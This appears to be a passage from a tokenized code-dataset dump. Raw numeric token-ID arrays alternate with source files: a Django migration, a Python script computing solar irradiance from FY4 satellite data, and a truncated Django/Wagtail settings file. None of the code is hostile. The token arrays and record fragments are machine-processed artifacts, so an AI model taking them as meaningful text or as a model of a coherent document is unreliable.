11651, 29898, 5657, 29892, 29871, 29946, 29892, 2989, 29918, 978, 29897, 13, 1678, 4079, 29918, 1272, 29889, 842, 29918, 978, 29918, 11651, 29898, 5657, 29892, 29871, 29896, 29947, 29892, 6213, 29897, 13, 13, 1678, 396, 4918, 4081, 1024, 13, 1678, 4079, 29918, 1272, 29889, 842, 29918, 978, 29918, 11651, 29898, 13, 4706, 4079, 29892, 29871, 29953, 29892, 313, 11922, 29918, 978, 23097, 29899, 18717, 1491, 11922, 29918, 978, 467, 6506, 877, 13420, 6629, 876, 13, 13, 1678, 396, 14187, 1266, 2643, 13, 1678, 4079, 29918, 1272, 29889, 842, 29918, 978, 29918, 11651, 29898, 13, 4706, 4079, 29892, 29871, 29900, 29892, 525, 11882, 1266, 29871, 29906, 29900, 29896, 29896, 5087, 9266, 29889, 2178, 26863, 2538, 9841, 29889, 1495, 13, 13, 1678, 396, 7375, 5041, 330, 27026, 29879, 491, 2381, 20304, 13, 1678, 396, 2045, 597, 3292, 29889, 510, 29914, 3608, 29914, 13716, 3747, 29914, 12175, 29914, 29896, 29947, 13, 1678, 330, 368, 29888, 353, 4079, 1839, 16808, 29888, 2033, 13, 1678, 330, 368, 29888, 1839, 4161, 7464, 330, 368, 29888, 1839, 4161, 29889, 1997, 2033, 353, 330, 368, 29888, 1839, 4161, 29889, 1997, 7464, 330, 368, 29888, 1839, 4161, 2033, 13, 13, 1678, 396, 1207, 330, 27026, 11299, 13747, 363, 4682, 17596, 13, 1678, 396, 2045, 597, 3292, 29889, 510, 29914, 3608, 29914, 13716, 3747, 29914, 12175, 29914, 29955, 29896, 13, 1678, 330, 27026, 29918, 2098, 353, 4079, 29889, 657, 29954, 27026, 7514, 580, 13, 1678, 363, 474, 29892, 330, 27026, 29918, 978, 297, 26985, 29898, 16808, 561, 29918, 2098, 1125, 13, 4706, 565, 330, 27026, 29918, 978, 29889, 1975, 2541, 12839, 29880, 1949, 29374, 13, 9651, 716, 29918, 978, 353, 330, 27026, 29918, 978, 29889, 6506, 12839, 29880, 1949, 742, 15300, 29886, 1949, 1495, 13, 9651, 330, 27026, 29918, 2098, 29961, 29875, 29962, 353, 716, 29918, 978, 13, 9651, 4079, 1839, 16808, 29888, 2033, 29961, 1482, 29918, 978, 29962, 353, 4079, 1839, 16808, 29888, 2033, 29961, 16808, 561, 29918, 978, 29962, 13, 13, 9651, 396, 9773, 2030, 1024, 304, 330, 27026, 1797, 577, 628, 9269, 29879, 13, 9651, 330, 27026, 29918, 2098, 29889, 4397, 29898, 16808, 561, 29918, 978, 29897, 13, 9651, 628, 4079, 1839, 16808, 29888, 2033, 29961, 16808, 561, 29918, 978, 29962, 13, 13, 1678, 396, 3509, 5680, 515, 28859, 524, 287, 13, 1678, 396, 2045, 597, 3292, 29889, 510, 29914, 3608, 29914, 13716, 3747, 29914, 26746, 29914, 29896, 29953, 29941, 13, 1678, 363, 1591, 297, 6024, 29954, 24405, 742, 525, 19903, 3267, 742, 525, 10749, 7466, 2033, 29901, 13, 4706, 4079, 29961, 2371, 29962, 353, 28859, 524, 287, 29961, 2371, 29962, 13, 13, 13, 1753, 1959, 29918, 5657, 29898, 4993, 29918, 978, 29892, 28859, 524, 287, 29918, 978, 29892, 3646, 29918, 5657, 29918, 978, 29892, 3942, 29918, 978, 1125, 13, 1678, 9995, 12521, 1621, 29879, 21556, 322, 916, 12700, 2472, 1213, 15945, 13, 13, 1678, 4079, 353, 260, 29873, 14868, 29889, 29911, 8969, 609, 29898, 4993, 29918, 978, 29897, 13, 1678, 28859, 524, 287, 353, 260, 29873, 14868, 29889, 29911, 8969, 609, 29898, 348, 29882, 524, 287, 29918, 978, 29897, 13, 13, 1678, 396, 3394, 1856, 29899, 14940, 24626, 1434, 7258, 29892, 577, 393, 1014, 29914, 11922, 2983, 526, 13, 1678, 396, 1959, 363, 4628, 18177, 322, 1009, 14288, 9978, 674, 367, 731, 13, 1678, 3394, 29918, 2676, 29918, 14940, 29918, 5878, 267, 29898, 5657, 29892, 28859, 524, 287, 29892, 3942, 29918, 978, 29897, 13, 1678, 13201, 29918, 16747, 14340, 29889, 7302, 29918, 1356, 1971, 653, 29918, 5878, 267, 29898, 5657, 29892, 338, 29918, 1454, 29918, 2676, 29922, 5574, 29897, 13, 1678, 13201, 29918, 16747, 14340, 29889, 5504, 29918, 3259, 29918, 392, 29918, 276, 4924, 29898, 5657, 29897, 13, 1678, 4079, 29889, 7620, 29898, 5182, 29918, 5657, 29918, 978, 29897, 13, 13, 13, 1753, 1667, 29898, 19218, 1125, 13, 1678, 9995, 12521, 1621, 278, 4079, 6790, 297, 278, 1899, 1196, 1213, 15945, 13, 1678, 1959, 29918, 5657, 10456, 19218, 29961, 29896, 29901, 2314, 13, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 1667, 29898, 9675, 29889, 19218, 29897, 13, 2 ]
creator/migrations/0002_auto_20180122_0811.py
Chaitya62/E-Certificates
3
81048
<gh_stars>1-10 # -*- coding: utf-8 -*- # Generated by Django 1.10 on 2018-01-22 08:11 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('creator', '0001_initial'), ] operations = [ migrations.RemoveField( model_name='event', name='attendees', ), migrations.DeleteModel( name='Attendee', ), migrations.DeleteModel( name='Event', ), ]
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 29937, 3251, 630, 491, 15337, 29871, 29896, 29889, 29896, 29900, 373, 29871, 29906, 29900, 29896, 29947, 29899, 29900, 29896, 29899, 29906, 29906, 29871, 29900, 29947, 29901, 29896, 29896, 13, 3166, 4770, 29888, 9130, 1649, 1053, 29104, 29918, 20889, 1338, 13, 13, 3166, 9557, 29889, 2585, 1053, 9725, 800, 13, 13, 13, 1990, 341, 16783, 29898, 26983, 800, 29889, 29924, 16783, 1125, 13, 13, 1678, 9962, 353, 518, 13, 4706, 6702, 1037, 1061, 742, 525, 29900, 29900, 29900, 29896, 29918, 11228, 5477, 13, 1678, 4514, 13, 13, 1678, 6931, 353, 518, 13, 4706, 9725, 800, 29889, 15941, 3073, 29898, 13, 9651, 1904, 29918, 978, 2433, 3696, 742, 13, 9651, 1024, 2433, 8606, 311, 267, 742, 13, 4706, 10353, 13, 4706, 9725, 800, 29889, 12498, 3195, 29898, 13, 9651, 1024, 2433, 4165, 3324, 29872, 742, 13, 4706, 10353, 13, 4706, 9725, 800, 29889, 12498, 3195, 29898, 13, 9651, 1024, 2433, 2624, 742, 13, 4706, 10353, 13, 1678, 4514, 13, 2 ]
old/step2/itcal_matrix.py
NingAnMe/GFSSI
1
99135
<filename>old/step2/itcal_matrix.py import glob import math import os from datetime import datetime, timedelta def cos(x): return math.cos(math.radians(x)) def sin(x): return math.sin(math.radians(x)) def isleap(y): return (y % 4 == 0 and y % 100 != 0) or y % 400 == 0 def calDoy(y, m, d): Doy = 0 a = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] if isleap(y): a[1] = 29 for x in a[0:m - 1]: Doy += x return Doy + d def calDelta(Doy): # print "360/365*(284 + Doy) is %f" % (360.0/365*(284 + Doy)) return 23.45 * sin(360.0 / 365 * (284 + Doy)) def calOmega(hr, min, lon, E): TT = hr + min / 60.0 + 4 * (lon - 120) / 60.0 + E / 60.0 return (TT - 12) * 15 def calCosThetaz(lat, Delta, Omega): return cos(lat) * cos(Delta) * cos(Omega) + sin(lat) * sin(Delta) def calG0(Doy, CosThetaz): return 1366.1 * (1 + 0.033 * cos(360.0 / 365 * Doy)) * CosThetaz def calRb(lat, Beta, Delta, Omega, CosThetaz): return (cos(lat - Beta) * cos(Delta) * cos(Omega) + sin(lat - Beta) * sin(Delta)) / CosThetaz def calGt(Ib, Id, Ai, Rb, Beta, Itol): return (Ib + Id * Ai) * Rb + Id * (1 - Ai) * (1 + cos(Beta)) / 2.0 + Itol * 0.2 * (1 - cos(Beta)) / 2.0 def assignTime(fileName_str): y = int(fileName_str[0:4]) m = int(fileName_str[4:6]) d = int(fileName_str[6:8]) hr = int(fileName_str[8:10]) + 8 min = int(fileName_str[10:12]) return y, m, d, hr, min def assignOriData(oriData): return float(oriData[0]), float(oriData[1]), float(oriData[2]), float(oriData[3]), float(oriData[4]) def assignE(fileName_str): for x in eData: if x[0] == fileName_str[4:8]: return float(x[1]) def readAndWrite(files, fileName_str): y, m, d, hr, min = assignTime(fileName_str) E = assignE(fileName_str) # 查找E值 # print "E is %d" % E Beta = 35.0 Doy = calDoy(y, m, d) # 计算Doy,是一年的第几天 Delta = calDelta(Doy) # 计算Delta wfd = open(save_path + fileName_str + '_ssi.txt', 'w') wfd.write("lon lat Itotal Ib Id G0 Ai Rb Gt Dni\n") with open(files[0]) as fd: for line in fd: oriData = line.split() lon, lat, Itol, Ib, Id = assignOriData(oriData) ''' print y,m,d,hr,min,lon,lat,Itol,Ib,Id y=2017 m=8 d=1 lon=100.3105 lat=38.9286 Itol=338.526 Ib=155.352 Id=183.174 hr=8 min=30 E = -7 print y,m,d,hr,min,lon,lat,Itol,Ib,Id ''' Omega = calOmega(hr, min, lon, E) # 计算 Omega CosThetaz = calCosThetaz(lat, Delta, Omega) # 计算 CosThetaz if Itol == 9999.0 or Ib == 9999.0 or Id == 9999.0: G0 = 9999.0 Ai = 9999.0 Rb = 9999.0 Gt = 9999.0 Dni = 9999.0 else: G0 = calG0(Doy, CosThetaz) # 计算 G0 Ai = Ib / G0 # 计算 Ai Rb = calRb(lat, Beta, Delta, Omega, CosThetaz) # 计算 Rb Gt = calGt(Ib, Id, Ai, Rb, Beta, Itol) # 计算 Gt Dni = Ib / CosThetaz # 计算 Dni ''' print "Doy is %d" % Doy print "Delta is %f " % Delta print "Omega is %f" % Omega print "CosThetaz is %f " % CosThetaz print "go is %f" % G0 print "Ai is %f" % Ai print "Rb is %f" % Rb print "Gt is %f" % Gt ''' wfd.write(str(round(lon, 4)) + ' ' + str(round(lat, 4)) + ' ' + str(round(Itol, 2)) + ' ' + str( round(Ib, 2)) + ' ' + str(round(Id, 2)) + ' ' + str(round(G0, 2)) + ' ' + str(round(Ai, 2)) + ' ' + str( round(Rb, 2)) + ' ' + str(round(Gt, 2)) + ' ' + str(round(Dni, 2))) wfd.write('\n') # sys.exit() data_path = 'I:\\FY4\\unzipNC\\2017\\' output_path = 'F:\\FY4\\GT\\' year = "2017" if not os.path.exists(output_path + year): os.makedirs(output_path + year) dt_from = datetime.strptime("20170901", "%Y%m%d") dt_to = datetime.strptime("20170902", "%Y%m%d") delta = timedelta(minutes=15) eData = [] with open('ep.txt') as fd: for line in fd: eData.append(line.split()) fileName = dt_from while fileName <= dt_to: path = data_path + fileName.strftime("%Y%m%d") + '//' save_path = output_path + year + '//' + fileName.strftime("%Y%m%d") + '//' fileName_str = fileName.strftime("%Y%m%d%H%M") # print "fileName_str is %s " % fileName_str if not os.path.exists(save_path): os.makedirs(save_path) try: files = glob.glob(path + '*' + fileName_str + '*.txt') if len(files) == 1: readAndWrite(files, fileName_str) except: print('No' + fileName_str + 'datafiles.') fileName += delta
[ 1, 529, 9507, 29958, 1025, 29914, 10568, 29906, 29914, 277, 1052, 29918, 5344, 29889, 2272, 13, 5215, 13149, 13, 5215, 5844, 13, 5215, 2897, 13, 3166, 12865, 1053, 12865, 29892, 5335, 287, 2554, 13, 13, 13, 1753, 6776, 29898, 29916, 1125, 13, 1678, 736, 5844, 29889, 3944, 29898, 755, 29889, 3665, 5834, 29898, 29916, 876, 13, 13, 13, 1753, 4457, 29898, 29916, 1125, 13, 1678, 736, 5844, 29889, 5223, 29898, 755, 29889, 3665, 5834, 29898, 29916, 876, 13, 13, 13, 1753, 338, 280, 481, 29898, 29891, 1125, 13, 1678, 736, 313, 29891, 1273, 29871, 29946, 1275, 29871, 29900, 322, 343, 1273, 29871, 29896, 29900, 29900, 2804, 29871, 29900, 29897, 470, 343, 1273, 29871, 29946, 29900, 29900, 1275, 29871, 29900, 13, 13, 13, 1753, 1208, 6132, 29891, 29898, 29891, 29892, 286, 29892, 270, 1125, 13, 1678, 1938, 29891, 353, 29871, 29900, 13, 1678, 263, 353, 518, 29941, 29896, 29892, 29871, 29906, 29947, 29892, 29871, 29941, 29896, 29892, 29871, 29941, 29900, 29892, 29871, 29941, 29896, 29892, 29871, 29941, 29900, 29892, 29871, 29941, 29896, 29892, 29871, 29941, 29896, 29892, 29871, 29941, 29900, 29892, 29871, 29941, 29896, 29892, 29871, 29941, 29900, 29892, 29871, 29941, 29896, 29962, 13, 1678, 565, 338, 280, 481, 29898, 29891, 1125, 13, 4706, 263, 29961, 29896, 29962, 353, 29871, 29906, 29929, 13, 1678, 363, 921, 297, 263, 29961, 29900, 29901, 29885, 448, 29871, 29896, 5387, 13, 4706, 1938, 29891, 4619, 921, 13, 1678, 736, 1938, 29891, 718, 270, 13, 13, 13, 1753, 1208, 5268, 29898, 6132, 29891, 1125, 13, 1678, 396, 1596, 376, 29941, 29953, 29900, 29914, 29941, 29953, 29945, 16395, 29906, 29947, 29946, 718, 1938, 29891, 29897, 338, 1273, 29888, 29908, 1273, 313, 29941, 29953, 29900, 29889, 29900, 29914, 29941, 29953, 29945, 16395, 29906, 29947, 29946, 718, 1938, 29891, 876, 13, 1678, 736, 29871, 29906, 29941, 29889, 29946, 29945, 334, 4457, 29898, 29941, 29953, 29900, 29889, 29900, 847, 29871, 29941, 29953, 29945, 334, 313, 29906, 29947, 29946, 718, 1938, 29891, 876, 13, 13, 13, 1753, 1208, 5981, 29898, 1092, 29892, 1375, 29892, 23123, 29892, 382, 1125, 13, 1678, 323, 29911, 353, 22157, 718, 1375, 847, 29871, 29953, 29900, 29889, 29900, 718, 29871, 29946, 334, 313, 12957, 448, 29871, 29896, 29906, 29900, 29897, 847, 29871, 29953, 29900, 29889, 29900, 718, 382, 847, 29871, 29953, 29900, 29889, 29900, 13, 1678, 736, 313, 19988, 448, 29871, 29896, 29906, 29897, 334, 29871, 29896, 29945, 13, 13, 13, 1753, 1208, 29907, 359, 1349, 300, 834, 29898, 5066, 29892, 360, 2554, 29892, 13352, 2442, 1125, 13, 1678, 736, 6776, 29898, 5066, 29897, 334, 6776, 29898, 5268, 29897, 334, 6776, 29898, 5981, 29897, 718, 4457, 29898, 5066, 29897, 334, 4457, 29898, 5268, 29897, 13, 13, 13, 1753, 1208, 29954, 29900, 29898, 6132, 29891, 29892, 13526, 1349, 300, 834, 1125, 13, 1678, 736, 29871, 29896, 29941, 29953, 29953, 29889, 29896, 334, 313, 29896, 718, 29871, 29900, 29889, 29900, 29941, 29941, 334, 6776, 29898, 29941, 29953, 29900, 29889, 29900, 847, 29871, 29941, 29953, 29945, 334, 1938, 29891, 876, 334, 13526, 1349, 300, 834, 13, 13, 13, 1753, 1208, 29934, 29890, 29898, 5066, 29892, 350, 1187, 29892, 360, 2554, 29892, 13352, 2442, 29892, 13526, 1349, 300, 834, 1125, 13, 1678, 736, 313, 3944, 29898, 5066, 448, 350, 1187, 29897, 334, 6776, 29898, 5268, 29897, 334, 6776, 29898, 5981, 29897, 718, 4457, 29898, 5066, 448, 350, 1187, 29897, 334, 4457, 29898, 5268, 876, 847, 13526, 1349, 300, 834, 13, 13, 13, 1753, 1208, 29954, 29873, 29898, 29902, 29890, 29892, 5163, 29892, 319, 29875, 29892, 390, 29890, 29892, 350, 1187, 29892, 739, 324, 1125, 13, 1678, 736, 313, 29902, 29890, 718, 5163, 334, 319, 29875, 29897, 334, 390, 29890, 718, 5163, 334, 313, 29896, 448, 319, 29875, 29897, 334, 313, 29896, 718, 6776, 29898, 29933, 1187, 876, 847, 29871, 29906, 29889, 29900, 718, 739, 324, 334, 29871, 29900, 29889, 29906, 334, 313, 29896, 448, 6776, 29898, 29933, 1187, 876, 847, 29871, 29906, 29889, 29900, 13, 13, 13, 1753, 3566, 2481, 29898, 28926, 29918, 710, 1125, 13, 1678, 343, 353, 938, 29898, 28926, 29918, 710, 29961, 29900, 29901, 29946, 2314, 13, 1678, 286, 353, 938, 29898, 28926, 29918, 710, 29961, 29946, 29901, 29953, 2314, 13, 1678, 270, 353, 938, 29898, 28926, 29918, 710, 29961, 29953, 29901, 29947, 2314, 13, 1678, 22157, 353, 938, 29898, 28926, 29918, 710, 29961, 29947, 29901, 29896, 29900, 2314, 718, 29871, 29947, 13, 1678, 1375, 353, 938, 29898, 28926, 29918, 710, 29961, 29896, 29900, 29901, 29896, 29906, 2314, 13, 1678, 736, 343, 29892, 286, 29892, 270, 29892, 22157, 29892, 1375, 13, 13, 13, 1753, 3566, 15988, 1469, 29898, 4170, 1469, 1125, 13, 1678, 736, 5785, 29898, 4170, 1469, 29961, 29900, 11724, 5785, 29898, 4170, 1469, 29961, 29896, 11724, 5785, 29898, 4170, 1469, 29961, 29906, 11724, 5785, 29898, 4170, 1469, 29961, 29941, 11724, 5785, 29898, 4170, 1469, 29961, 29946, 2314, 13, 13, 13, 1753, 3566, 29923, 29898, 28926, 29918, 710, 1125, 13, 1678, 363, 921, 297, 321, 1469, 29901, 13, 4706, 565, 921, 29961, 29900, 29962, 1275, 29729, 29918, 710, 29961, 29946, 29901, 29947, 5387, 13, 9651, 736, 5785, 29898, 29916, 29961, 29896, 2314, 13, 13, 13, 1753, 1303, 2855, 6113, 29898, 5325, 29892, 29729, 29918, 710, 1125, 13, 1678, 343, 29892, 286, 29892, 270, 29892, 22157, 29892, 1375, 353, 3566, 2481, 29898, 28926, 29918, 710, 29897, 13, 1678, 382, 353, 3566, 29923, 29898, 28926, 29918, 710, 29897, 29871, 396, 29871, 31213, 233, 140, 193, 29923, 30959, 13, 1678, 396, 29871, 1596, 376, 29923, 338, 1273, 29881, 29908, 1273, 382, 13, 1678, 350, 1187, 353, 29871, 29941, 29945, 29889, 29900, 13, 13, 1678, 1938, 29891, 353, 1208, 6132, 29891, 29898, 29891, 29892, 286, 29892, 270, 29897, 29871, 396, 29871, 31466, 31565, 6132, 29891, 30214, 30392, 30287, 30470, 30210, 30622, 232, 138, 163, 30408, 13, 1678, 360, 2554, 353, 1208, 5268, 29898, 6132, 29891, 29897, 29871, 396, 29871, 31466, 31565, 5268, 13, 13, 1678, 281, 11512, 353, 1722, 29898, 7620, 29918, 2084, 718, 29729, 29918, 710, 718, 22868, 893, 29875, 29889, 3945, 742, 525, 29893, 1495, 13, 1678, 281, 11512, 29889, 3539, 703, 12957, 3405, 739, 7288, 29739, 5163, 402, 29900, 319, 29875, 390, 29890, 402, 29873, 360, 1240, 29905, 29876, 1159, 13, 1678, 411, 1722, 29898, 5325, 29961, 29900, 2314, 408, 285, 29881, 29901, 13, 4706, 363, 1196, 297, 285, 29881, 29901, 13, 9651, 470, 29875, 1469, 353, 1196, 29889, 5451, 580, 13, 9651, 23123, 29892, 3405, 29892, 739, 324, 29892, 29739, 29892, 5163, 353, 3566, 15988, 1469, 29898, 4170, 1469, 29897, 13, 9651, 14550, 13, 9651, 1596, 343, 29892, 29885, 29892, 29881, 29892, 1092, 29892, 1195, 29892, 12957, 29892, 5066, 29892, 3112, 324, 29892, 29902, 29890, 29892, 1204, 29871, 13, 9651, 343, 29922, 29906, 29900, 29896, 29955, 13, 9651, 286, 29922, 29947, 13, 9651, 270, 29922, 29896, 13, 9651, 23123, 29922, 29896, 29900, 29900, 29889, 29941, 29896, 29900, 29945, 13, 9651, 3405, 29922, 29941, 29947, 29889, 29929, 29906, 29947, 29953, 13, 9651, 739, 324, 29922, 29941, 29941, 29947, 29889, 29945, 29906, 29953, 13, 9651, 29739, 29922, 29896, 29945, 29945, 29889, 29941, 29945, 29906, 13, 9651, 5163, 29922, 29896, 29947, 29941, 29889, 29896, 29955, 29946, 13, 9651, 22157, 29922, 29947, 13, 9651, 1375, 29922, 29941, 29900, 13, 9651, 382, 353, 448, 29955, 13, 9651, 1596, 343, 29892, 29885, 29892, 29881, 29892, 1092, 29892, 1195, 29892, 12957, 29892, 5066, 29892, 3112, 324, 29892, 29902, 29890, 29892, 1204, 29871, 13, 9651, 14550, 13, 13, 9651, 13352, 2442, 353, 1208, 5981, 29898, 1092, 29892, 1375, 29892, 23123, 29892, 382, 29897, 29871, 396, 29871, 31466, 31565, 13352, 2442, 13, 9651, 13526, 1349, 300, 834, 353, 1208, 29907, 359, 1349, 300, 834, 29898, 5066, 29892, 360, 2554, 29892, 13352, 2442, 29897, 29871, 396, 29871, 31466, 31565, 13526, 1349, 300, 834, 13, 9651, 565, 739, 324, 1275, 29871, 29929, 29929, 29929, 29929, 29889, 29900, 470, 29739, 1275, 29871, 29929, 29929, 29929, 29929, 29889, 29900, 470, 5163, 1275, 29871, 29929, 29929, 29929, 29929, 29889, 29900, 29901, 13, 18884, 402, 29900, 353, 29871, 29929, 29929, 29929, 29929, 29889, 29900, 13, 18884, 319, 29875, 353, 29871, 29929, 29929, 29929, 29929, 29889, 29900, 13, 18884, 390, 29890, 353, 29871, 29929, 29929, 29929, 29929, 29889, 29900, 13, 18884, 402, 29873, 353, 29871, 29929, 29929, 29929, 29929, 29889, 29900, 13, 18884, 360, 1240, 353, 29871, 29929, 29929, 29929, 29929, 29889, 29900, 13, 9651, 1683, 29901, 13, 18884, 402, 29900, 353, 1208, 29954, 29900, 29898, 6132, 29891, 29892, 13526, 1349, 300, 834, 29897, 29871, 396, 29871, 31466, 31565, 402, 29900, 13, 18884, 319, 29875, 353, 29739, 847, 402, 29900, 29871, 396, 29871, 31466, 31565, 319, 29875, 13, 18884, 390, 29890, 353, 1208, 29934, 29890, 29898, 5066, 29892, 350, 1187, 29892, 360, 2554, 29892, 13352, 2442, 29892, 13526, 1349, 300, 834, 29897, 29871, 396, 29871, 31466, 31565, 390, 29890, 13, 18884, 402, 29873, 353, 1208, 29954, 29873, 29898, 29902, 29890, 29892, 5163, 29892, 319, 29875, 29892, 390, 29890, 29892, 350, 1187, 29892, 739, 324, 29897, 29871, 396, 29871, 31466, 31565, 402, 29873, 13, 18884, 360, 1240, 353, 29739, 847, 13526, 1349, 300, 834, 29871, 396, 29871, 31466, 31565, 360, 1240, 13, 9651, 14550, 13, 9651, 1596, 376, 6132, 29891, 338, 1273, 29881, 29908, 1273, 1938, 29891, 13, 9651, 1596, 376, 5268, 338, 1273, 29888, 376, 1273, 360, 2554, 13, 9651, 1596, 376, 5981, 338, 1273, 29888, 29908, 1273, 13352, 2442, 13, 9651, 1596, 376, 29907, 359, 1349, 300, 834, 338, 1273, 29888, 376, 1273, 13526, 1349, 300, 834, 13, 9651, 1596, 376, 1484, 338, 1273, 29888, 29908, 1273, 402, 29900, 13, 9651, 1596, 376, 29909, 29875, 338, 1273, 29888, 29908, 1273, 319, 29875, 13, 9651, 1596, 376, 29934, 29890, 338, 1273, 29888, 29908, 1273, 390, 29890, 13, 9651, 1596, 376, 29954, 29873, 338, 1273, 29888, 29908, 1273, 402, 29873, 13, 9651, 14550, 13, 9651, 281, 11512, 29889, 3539, 29898, 710, 29898, 14486, 29898, 12957, 29892, 29871, 29946, 876, 718, 525, 525, 718, 851, 29898, 14486, 29898, 5066, 29892, 29871, 29946, 876, 718, 525, 525, 718, 851, 29898, 14486, 29898, 3112, 324, 29892, 29871, 29906, 876, 718, 525, 525, 718, 851, 29898, 13, 18884, 4513, 29898, 29902, 29890, 29892, 29871, 29906, 876, 718, 525, 525, 718, 851, 29898, 14486, 29898, 1204, 29892, 29871, 29906, 876, 718, 525, 525, 718, 851, 29898, 14486, 29898, 29954, 29900, 29892, 29871, 29906, 876, 718, 525, 525, 718, 851, 29898, 14486, 29898, 29909, 29875, 29892, 29871, 29906, 876, 718, 525, 525, 718, 851, 29898, 13, 18884, 4513, 29898, 29934, 29890, 29892, 29871, 29906, 876, 718, 525, 525, 718, 851, 29898, 14486, 29898, 29954, 29873, 29892, 29871, 29906, 876, 718, 525, 525, 718, 851, 29898, 14486, 29898, 29928, 1240, 29892, 29871, 29906, 4961, 13, 9651, 281, 11512, 29889, 3539, 28909, 29876, 1495, 13, 13, 9651, 396, 10876, 29889, 13322, 580, 13, 13, 13, 1272, 29918, 2084, 353, 525, 29902, 22298, 29943, 29979, 29946, 1966, 348, 7554, 15868, 1966, 29906, 29900, 29896, 29955, 1966, 29915, 13, 4905, 29918, 2084, 353, 525, 29943, 22298, 29943, 29979, 29946, 1966, 23799, 1966, 29915, 13, 6360, 353, 376, 29906, 29900, 29896, 29955, 29908, 13, 13, 361, 451, 2897, 29889, 2084, 29889, 9933, 29898, 4905, 29918, 2084, 718, 1629, 1125, 13, 1678, 2897, 29889, 29885, 12535, 12935, 29898, 4905, 29918, 2084, 718, 1629, 29897, 13, 13, 6008, 29918, 3166, 353, 12865, 29889, 710, 415, 603, 703, 29906, 29900, 29896, 29955, 29900, 29929, 29900, 29896, 613, 11860, 29979, 29995, 29885, 29995, 29881, 1159, 13, 6008, 29918, 517, 353, 12865, 29889, 710, 415, 603, 703, 29906, 29900, 29896, 29955, 29900, 29929, 29900, 29906, 613, 11860, 29979, 29995, 29885, 29995, 29881, 1159, 13, 4181, 353, 5335, 287, 2554, 29898, 1195, 2667, 29922, 29896, 29945, 29897, 13, 13, 29872, 1469, 353, 5159, 13, 2541, 1722, 877, 1022, 29889, 3945, 1495, 408, 285, 29881, 29901, 13, 1678, 363, 1196, 297, 285, 29881, 29901, 13, 4706, 321, 1469, 29889, 4397, 29898, 1220, 29889, 5451, 3101, 13, 13, 28926, 353, 11636, 29918, 3166, 13, 13, 8000, 29729, 5277, 11636, 29918, 517, 29901, 13, 1678, 2224, 353, 848, 29918, 2084, 718, 29729, 29889, 710, 615, 603, 11702, 29979, 29995, 29885, 29995, 29881, 1159, 718, 525, 458, 29915, 13, 1678, 4078, 29918, 2084, 353, 1962, 29918, 2084, 718, 1629, 718, 525, 458, 29915, 718, 29729, 29889, 710, 615, 603, 11702, 29979, 29995, 29885, 29995, 29881, 1159, 718, 525, 458, 29915, 13, 1678, 29729, 29918, 710, 353, 29729, 29889, 710, 615, 603, 11702, 29979, 29995, 29885, 29995, 29881, 29995, 29950, 29995, 29924, 1159, 13, 13, 1678, 396, 29871, 1596, 376, 28926, 29918, 710, 338, 1273, 29879, 376, 1273, 29729, 29918, 710, 13, 1678, 565, 451, 2897, 29889, 2084, 29889, 9933, 29898, 7620, 29918, 2084, 1125, 13, 4706, 2897, 29889, 29885, 12535, 12935, 29898, 7620, 29918, 2084, 29897, 13, 13, 1678, 1018, 29901, 13, 4706, 2066, 353, 13149, 29889, 23705, 29898, 2084, 718, 525, 29930, 29915, 718, 29729, 29918, 710, 718, 525, 10521, 3945, 1495, 13, 4706, 565, 7431, 29898, 5325, 29897, 1275, 29871, 29896, 29901, 13, 9651, 1303, 2855, 6113, 29898, 5325, 29892, 29729, 29918, 710, 29897, 13, 13, 1678, 5174, 29901, 13, 4706, 1596, 877, 3782, 29915, 718, 29729, 29918, 710, 718, 525, 1272, 5325, 29889, 1495, 13, 1678, 29729, 4619, 19471, 13, 2 ]
sporttech/settings/base.py
aseufert/sporttechiq
0
166108
""" Django settings for sporttech project. Generated by 'django-admin startproject' using Django 2.0.8. For more information on this file, see https://docs.djangoproject.com/en/2.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.0/ref/settings/ """ # Build paths inside the project like this: os.path.join(BASE_DIR, ...) import os import datetime import json PROJECT_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) BASE_DIR = os.path.dirname(PROJECT_DIR) site_config = os.path.join(PROJECT_DIR, 'settings', 'site_config.json') with open(site_config) as f: configs = json.loads(f.read()) SECRET_KEY = configs['SECRET_KEY'] # Application definition INSTALLED_APPS = [ 'home', 'search', 'showcase.apps.ShowcaseConfig', 'users', 'api', 'wagtail.contrib.forms', 'wagtail.contrib.redirects', 'wagtail.contrib.modeladmin', 'wagtail.embeds', 'wagtail.sites', 'wagtail.users', 'wagtail.snippets', 'wagtail.documents', 'wagtail.images', 'wagtail.search', 'wagtail.admin', 'wagtail.core', 'modelcluster', 'taggit', 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework', 'django_filters', ] MIDDLEWARE = [ 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'django.middleware.security.SecurityMiddleware', 'wagtail.core.middleware.SiteMiddleware', 'wagtail.contrib.redirects.middleware.RedirectMiddleware', ] ROOT_URLCONF = 'sporttech.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [ os.path.join(PROJECT_DIR, 'templates'), ], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] # used to read debug variable in templates INTERNAL_IPS = ('127.0.0.1',) WSGI_APPLICATION = 'sporttech.wsgi.application' # Password validation # https://docs.djangoproject.com/en/2.0/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Extending user model. Foreign keys should refer to settings.AUTH_USER_MODEL AUTH_USER_MODEL = 